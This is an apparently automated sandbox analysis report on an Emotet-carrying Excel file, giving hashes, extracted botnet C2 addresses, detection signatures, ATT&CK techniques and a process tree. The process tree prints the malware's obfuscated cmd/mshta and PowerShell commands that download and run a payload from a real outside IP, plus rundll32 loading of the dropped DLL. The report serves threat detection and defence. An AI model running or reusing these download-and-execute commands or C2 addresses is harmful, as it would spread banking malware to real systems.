emotet | a656dee4269b3997b9c50dec27b01a0b528b4e9c380e999a4d6fc146a8a043ba

Analysis

max time kernel
122s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
21/01/2022, 09:15

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General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1452	3096	cmd.exe	51

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 632 created 1508	632	WerFault.exe	64

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
38	1508	mshta.exe
47	736	powershell.exe
49	736	powershell.exe
64	636	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
3492	rundll32.exe
1476	rundll32.exe
3792	rundll32.exe
636	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Pnkwewkhekamhj\vcbcob.pxl	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2652	1508	WerFault.exe	64

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3096	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
736	powershell.exe
736	powershell.exe
2652	WerFault.exe
2652	WerFault.exe
636	rundll32.exe
636	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	736	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE
3096	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3096 wrote to memory of 1452	3096	EXCEL.EXE	62
PID 3096 wrote to memory of 1452	3096	EXCEL.EXE	62
PID 1452 wrote to memory of 1508	1452	cmd.exe	64
PID 1452 wrote to memory of 1508	1452	cmd.exe	64
PID 632 wrote to memory of 1508	632	WerFault.exe	64
PID 632 wrote to memory of 1508	632	WerFault.exe	64
PID 1508 wrote to memory of 736	1508	mshta.exe	68
PID 1508 wrote to memory of 736	1508	mshta.exe	68
PID 736 wrote to memory of 4076	736	powershell.exe	75
PID 736 wrote to memory of 4076	736	powershell.exe	75
PID 4076 wrote to memory of 3492	4076	cmd.exe	76
PID 4076 wrote to memory of 3492	4076	cmd.exe	76
PID 4076 wrote to memory of 3492	4076	cmd.exe	76
PID 3492 wrote to memory of 1476	3492	rundll32.exe	77
PID 3492 wrote to memory of 1476	3492	rundll32.exe	77
PID 3492 wrote to memory of 1476	3492	rundll32.exe	77
PID 1476 wrote to memory of 3792	1476	rundll32.exe	78
PID 1476 wrote to memory of 3792	1476	rundll32.exe	78
PID 1476 wrote to memory of 3792	1476	rundll32.exe	78
PID 3792 wrote to memory of 636	3792	rundll32.exe	79
PID 3792 wrote to memory of 636	3792	rundll32.exe	79
PID 3792 wrote to memory of 636	3792	rundll32.exe	79

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3096
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:736
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4076
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3492
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1476
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pnkwewkhekamhj\vcbcob.pxl",rBgHdTjiV
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3792
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pnkwewkhekamhj\vcbcob.pxl",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:636
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1508 -s 1720
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1196

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 47c0b70e60d0195ec57120bd7c16fe09 SQSLfwJpYki1XtwICMDPjw.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:1284

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 424 -p 1508 -ip 1508
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wusvcs -p
1⤵
PID:2144

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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memory/636-217-0x0000000004F70000-0x0000000004F96000-memory.dmp

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memory/636-215-0x0000000004E90000-0x0000000004EB6000-memory.dmp

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memory/636-213-0x0000000004D60000-0x0000000004D86000-memory.dmp

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memory/636-211-0x0000000004C60000-0x0000000004C86000-memory.dmp

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152KB

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memory/636-209-0x0000000004B80000-0x0000000004BA6000-memory.dmp

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memory/636-207-0x0000000004B20000-0x0000000004B46000-memory.dmp

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152KB

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memory/636-205-0x0000000004840000-0x0000000004866000-memory.dmp

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152KB

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memory/736-178-0x000001F4C65E3000-0x000001F4C65E5000-memory.dmp

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8KB

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memory/736-177-0x000001F4C65E0000-0x000001F4C65E2000-memory.dmp

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8KB

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memory/736-179-0x000001F4C65E6000-0x000001F4C65E8000-memory.dmp

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8KB

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memory/736-188-0x000001F4C6C10000-0x000001F4C6C86000-memory.dmp

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472KB

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memory/736-180-0x000001F4C6B40000-0x000001F4C6B84000-memory.dmp

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272KB

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memory/736-174-0x000001F4C6580000-0x000001F4C65A2000-memory.dmp

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136KB

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memory/1476-186-0x00000000045F0000-0x0000000004616000-memory.dmp

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152KB

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memory/1476-189-0x0000000004DC0000-0x0000000004DE6000-memory.dmp

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memory/1476-191-0x0000000004EA0000-0x0000000004EC6000-memory.dmp

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152KB

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memory/1476-193-0x0000000004F80000-0x0000000004FA6000-memory.dmp

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152KB

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memory/1476-195-0x0000000004FE0000-0x0000000005006000-memory.dmp

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152KB

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memory/1476-200-0x0000000005160000-0x0000000005186000-memory.dmp

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152KB

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memory/3096-134-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3096-138-0x00007FF7FF550000-0x00007FF7FF560000-memory.dmp

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64KB

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memory/3096-137-0x00007FF7FF550000-0x00007FF7FF560000-memory.dmp

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64KB

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memory/3096-130-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3096-133-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3096-132-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3096-131-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3096-239-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3096-240-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3096-241-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3096-242-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

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64KB

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memory/3792-198-0x0000000000DE0000-0x0000000000E06000-memory.dmp

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152KB

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